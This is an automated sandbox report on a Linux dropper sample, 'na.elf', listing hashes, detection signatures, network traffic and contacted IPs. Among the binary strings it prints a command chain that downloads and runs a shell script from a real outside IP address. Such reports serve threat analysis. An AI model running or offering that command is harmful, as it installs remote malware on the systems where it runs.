Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1528121
MD5: 4fbc3b6a7fdae3f54a112840afd96217
SHA1: ecc7a596876d31f0f83557d74aa8675f7a00e5df
SHA256: 42d71620a6c3e2ef3f374fa156787064db5c171840b3a92683da80089302bbf6
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 3
Range: 0 - 100
Whitelisted: false

Signatures

Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Reads CPU information from /sys indicative of miner or evasive malware
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/na.elf (PID: 6241) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Found strings indicative of a multi-platform dropper
Source: na.elf String: reflect.Value.Interface: cannot return value obtained from unexported field or methodreflect: New of type that may not be allocated in heap (possibly undefined cgo C type)b3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aefaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab73617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5fcipher: the nonce can't have zero length, or the security of the key will be immediately compromisedcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319394020061963944792122790401001436138050797392704654466679469052796276593991132635693989563081522949135544336539426430051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f0000c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd166506864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151686479766013060971498190079908139321726943530014330540939446345918554318339765539424505774633321719753296399637136332111386476861244038034037280889270700544900010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899cd /tmp ; echo uname -a > nite ; chmod 777 nite ; ./nite ; rm -rf nite ; cd /tmp ; echo 'wget http://57.128.197.64/maga.sh ; curl -O http://57.128.197.64/maga.sh ; chmod 777 maga.sh ; ./maga.sh' > good.sh ; chmod 777 good.sh ; ./good.sh > /dev/null 2>&1 &FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:41272 -> 129.152.30.246:1001
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 129.152.30.246
Source: unknown TCP traffic detected without corresponding DNS query: 129.152.30.246
Source: unknown TCP traffic detected without corresponding DNS query: 129.152.30.246
Source: unknown TCP traffic detected without corresponding DNS query: 200.230.207.83
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.8.214
Source: unknown TCP traffic detected without corresponding DNS query: 12.44.109.14
Source: unknown TCP traffic detected without corresponding DNS query: 201.245.172.130
Source: unknown TCP traffic detected without corresponding DNS query: 200.230.207.83
Source: unknown TCP traffic detected without corresponding DNS query: 20.197.33.134
Source: unknown TCP traffic detected without corresponding DNS query: 146.17.58.245
Source: unknown TCP traffic detected without corresponding DNS query: 173.1.8.214
Source: unknown TCP traffic detected without corresponding DNS query: 12.44.109.14
Source: unknown TCP traffic detected without corresponding DNS query: 105.177.23.49
Source: unknown TCP traffic detected without corresponding DNS query: 206.216.15.159
Source: unknown TCP traffic detected without corresponding DNS query: 93.135.27.150
Source: unknown TCP traffic detected without corresponding DNS query: 201.245.172.130
Source: unknown TCP traffic detected without corresponding DNS query: 145.190.167.134
Source: unknown TCP traffic detected without corresponding DNS query: 44.164.188.62
Source: unknown TCP traffic detected without corresponding DNS query: 20.197.33.134
Source: unknown TCP traffic detected without corresponding DNS query: 146.17.58.245
Source: unknown TCP traffic detected without corresponding DNS query: 105.36.184.238
Source: unknown TCP traffic detected without corresponding DNS query: 105.177.23.49
Source: unknown TCP traffic detected without corresponding DNS query: 93.149.221.181
Source: unknown TCP traffic detected without corresponding DNS query: 203.71.200.79
Source: unknown TCP traffic detected without corresponding DNS query: 206.216.15.159
Source: unknown TCP traffic detected without corresponding DNS query: 93.135.27.150
Source: unknown TCP traffic detected without corresponding DNS query: 97.119.184.112
Source: unknown TCP traffic detected without corresponding DNS query: 145.190.167.134
Source: unknown TCP traffic detected without corresponding DNS query: 161.212.178.45
Source: unknown TCP traffic detected without corresponding DNS query: 44.164.188.62
Source: unknown TCP traffic detected without corresponding DNS query: 217.46.192.162
Source: unknown TCP traffic detected without corresponding DNS query: 188.79.230.227
Source: unknown TCP traffic detected without corresponding DNS query: 193.151.108.127
Source: unknown TCP traffic detected without corresponding DNS query: 105.36.184.238
Source: unknown TCP traffic detected without corresponding DNS query: 93.149.221.181
Source: unknown TCP traffic detected without corresponding DNS query: 203.71.200.79
Source: unknown TCP traffic detected without corresponding DNS query: 97.119.184.112
Source: unknown TCP traffic detected without corresponding DNS query: 183.118.249.160
Source: unknown TCP traffic detected without corresponding DNS query: 161.212.178.45
Source: unknown TCP traffic detected without corresponding DNS query: 195.130.142.74
Source: unknown TCP traffic detected without corresponding DNS query: 28.172.174.6
Source: unknown TCP traffic detected without corresponding DNS query: 179.13.107.177
Source: unknown TCP traffic detected without corresponding DNS query: 217.46.192.162
Source: unknown TCP traffic detected without corresponding DNS query: 188.79.230.227
Source: unknown TCP traffic detected without corresponding DNS query: 193.151.108.127
Source: unknown TCP traffic detected without corresponding DNS query: 64.4.253.109
Source: unknown TCP traffic detected without corresponding DNS query: 65.149.151.231
Source: unknown TCP traffic detected without corresponding DNS query: 183.118.249.160
Source: unknown TCP traffic detected without corresponding DNS query: 195.130.142.74
Source: unknown TCP traffic detected without corresponding DNS query: 28.172.174.6
Source: na.elf String found in binary or memory: http://57.128.197.64/maga.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: clean3.linELF@0/0@0/0
Source: ELF file section Submission: na.elf
Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/na.elf (PID: 6241) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/na.elf (PID: 6241) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 6241.1.00007f8060000000.00007f80600cd000.rw-.sdmp Binary or memory string: .qemu.gd
Source: na.elf, 6241.1.00007f8058000000.00007f80580c4000.rw-.sdmp Binary or memory string: .qemu.gdb.arm.sys.regs"><reg name="AMAIR0_S" bitsize="32" group="cp_regs"/><reg name="AFSR0_EL1" bitsize="32" group="cp_regs"/><reg name="AMAIR1_S" bitsize="32" group="cp_regs"/><reg name="VBAR_S" bitsize="32" group="cp_regs"/><reg name="AFSR1_EL1" bitsize="32" group="cp_regs"/><reg name="DBGDIDR" bitsize="32" group="cp_regs"/><reg name="VPID
Source: na.elf, 6241.1.00005625eae7d000.00005625eb56d000.rw-.sdmp Binary or memory string: %Vrg.qemu.gdb.arm.sys.regs">eg name="PMEV!MK
Source: na.elf, 6241.1.00007ffcfc3e7000.00007ffcfc408000.rw-.sdmp Binary or memory string: 9x86_64/usr/bin/qemu-arm/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 6241.1.00007f806c000000.00007f806c0e2000.rw-.sdmp Binary or memory string: rg.qemu.gdb.arm.sys.regs">u
Source: na.elf, 6241.1.00005625eae7d000.00005625eb56d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: na.elf, 6241.1.00005625eae7d000.00005625eb56d000.rw-.sdmp Binary or memory string: %V!/etc/qemu-binfmt/arm
Source: na.elf, 6241.1.00007ffcfc3e7000.00007ffcfc408000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: na.elf, 6241.1.00007f8058000000.00007f80580c4000.rw-.sdmp, na.elf, 6241.1.00007f806c000000.00007f806c0e2000.rw-.sdmp, na.elf, 6241.1.00005625eae7d000.00005625eb56d000.rw-.sdmp, na.elf, 6241.1.00007f8074000000.00007f807622b000.rw-.sdmp, na.elf, 6241.1.00007f8060000000.00007f80600cd000.rw-.sdmp Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: na.elf, 6241.1.00005625eae7d000.00005625eb56d000.rw-.sdmp Binary or memory string: %Vrg.qemu.gdb.arm.sys.regs">
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
138.31.120.192
 unknown United States
600 OARNET-ASUS false
97.217.87.118
 unknown United States
6167 CELLCO-PARTUS false
51.252.169.124
 unknown Saudi Arabia
39891 ALJAWWALSTC-ASSA false
2.113.80.189
 unknown Italy
3269 ASN-IBSNAZIT false
254.144.224.65
 unknown Reserved
unknown unknown false
132.200.83.221
 unknown United States
10754 GOV-FRB-BOGUS false
67.150.80.198
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
171.115.198.181
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
115.244.178.203
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
246.170.57.71
 unknown Reserved
unknown unknown false
205.73.156.116
 unknown United States
3475 DNIC-AS-03475US false
123.118.108.5
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
219.219.244.130
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
71.57.172.67
 unknown United States
7922 COMCAST-7922US false
175.27.56.216
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
169.60.225.226
 unknown United States
36351 SOFTLAYERUS false
177.75.151.252
 unknown Brazil
28146 MHNETTELECOMBR false
201.42.238.99
 unknown Brazil
27699 TELEFONICABRASILSABR false
185.55.142.162
 unknown Romania
62005 ADNET-TELECOMRO false
11.28.124.166
 unknown United States
3356 LEVEL3US false
119.210.210.214
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
252.175.97.117
 unknown Reserved
unknown unknown false
143.112.42.84
 unknown United States
10599 MCKESSONUS false
109.230.190.190
 unknown Russian Federation
44882 VSEVNET-ASRU false
177.241.89.68
 unknown Mexico
13999 MegaCableSAdeCVMX false
167.23.53.111
 unknown United States
11870 ALTICOR-INCUS false
105.234.4.51
 unknown Malawi
37009 MTCASNNA false
122.60.113.23
 unknown New Zealand
4771 SPARKNZSparkNewZealandTradingLtdNZ false
215.36.243.97
 unknown United States
721 DNIC-ASBLK-00721-00726US false
53.128.233.48
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
209.211.39.71
 unknown United States
394889 RNDC-12-ASUS false
139.118.33.175
 unknown Norway
5619 EVRY-NO false
59.179.33.48
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
223.252.29.202
 unknown Australia
45671 AS45671-NET-AUWholesaleServicesProviderAU false
54.179.231.97
 unknown United States
16509 AMAZON-02US false
184.155.195.232
 unknown United States
11492 CABLEONEUS false
133.59.172.244
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
72.143.136.214
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
209.30.51.33
 unknown United States
7018 ATT-INTERNET4US false
7.69.174.44
 unknown United States
3356 LEVEL3US false
57.13.113.16
 unknown Belgium
2686 ATGS-MMD-ASUS false
176.123.34.186
 unknown United Kingdom
61124 MARSTONSGB false
128.143.5.123
 unknown United States
225 VIRGINIA-ASUS false
35.132.231.83
 unknown United States
20115 CHARTER-20115US false
52.54.51.254
 unknown United States
14618 AMAZON-AESUS false
207.172.195.129
 unknown United States
6079 RCN-ASUS false
60.191.80.181
 unknown China
58461 CT-HANGZHOU-IDCNo288Fu-chunRoadCN false
128.186.217.209
 unknown United States
2553 FSU-ASUS false
152.18.67.104
 unknown United States
81 NCRENUS false
155.48.147.100
 unknown United States
16481 BABSON-GNETUS false
125.32.173.20
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
75.68.49.74
 unknown United States
7922 COMCAST-7922US false
176.10.174.124
 unknown Sweden
8473 BAHNHOFhttpwwwbahnhofnetSE false
255.56.251.160
 unknown Reserved
unknown unknown false
67.9.10.217
 unknown United States
33363 BHN-33363US false
140.158.188.216
 unknown United States
25709 LAMARUNIVUS false
27.198.37.24
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
142.147.71.183
 unknown United States
22909 COMCAST-22909US false
153.65.93.49
 unknown United States
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
40.105.29.200
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
117.163.98.150
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
172.4.129.142
 unknown United States
7018 ATT-INTERNET4US false
175.73.214.213
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
63.186.138.175
 unknown United States
1239 SPRINTLINKUS false
92.25.196.202
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
54.71.74.78
 unknown United States
16509 AMAZON-02US false
240.147.236.13
 unknown Reserved
unknown unknown false
68.25.215.45
 unknown United States
10507 SPCSUS false
139.139.230.12
 unknown United States
531 DNIC-AS-00531US false
136.131.115.90
 unknown United States
60311 ONEFMCH false
169.157.83.166
 unknown United States
8103 STATE-OF-FLAUS false
193.252.107.90
 unknown France
3215 FranceTelecom-OrangeFR false
251.217.150.215
 unknown Reserved
unknown unknown false
106.180.35.106
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
208.9.30.149
 unknown United States
1239 SPRINTLINKUS false
159.188.84.15
 unknown United States
34058 LIFECELL-ASUA false
111.83.57.26
 unknown Taiwan; Republic of China (ROC)
17421 EMOME-NETMobileBusinessGroupTW false
58.153.101.122
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
104.42.249.170
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
246.111.92.71
 unknown Reserved
unknown unknown false
135.71.17.65
 unknown United States
18676 AVAYAUS false
198.203.84.6
 unknown United States
22736 UNASSIGNED false
122.124.148.112
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
17.199.101.235
 unknown United States
714 APPLE-ENGINEERINGUS false
175.243.8.238
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
90.135.153.228
 unknown Sweden
1257 TELE2EU false
136.138.81.164
 unknown United States
60311 ONEFMCH false
35.204.72.184
 unknown United States
15169 GOOGLEUS false
71.128.161.131
 unknown United States
7018 ATT-INTERNET4US false
76.46.200.65
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
94.173.156.63
 unknown United Kingdom
5089 NTLGB false
142.157.129.126
 unknown Canada
15318 MCGILL-ASCA false
72.84.5.246
 unknown United States
701 UUNETUS false
47.244.205.99
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
188.221.142.164
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
36.135.235.2
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
157.87.42.16
 unknown United States
21612 FUNDACAOINSTITUTOOSWALDOCRUZBR false
71.40.193.239
 unknown United States
11427 TWC-11427-TEXASUS false
60.128.170.111
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
46.10.63.201
 unknown Bulgaria
8866 BTC-ASBULGARIABG false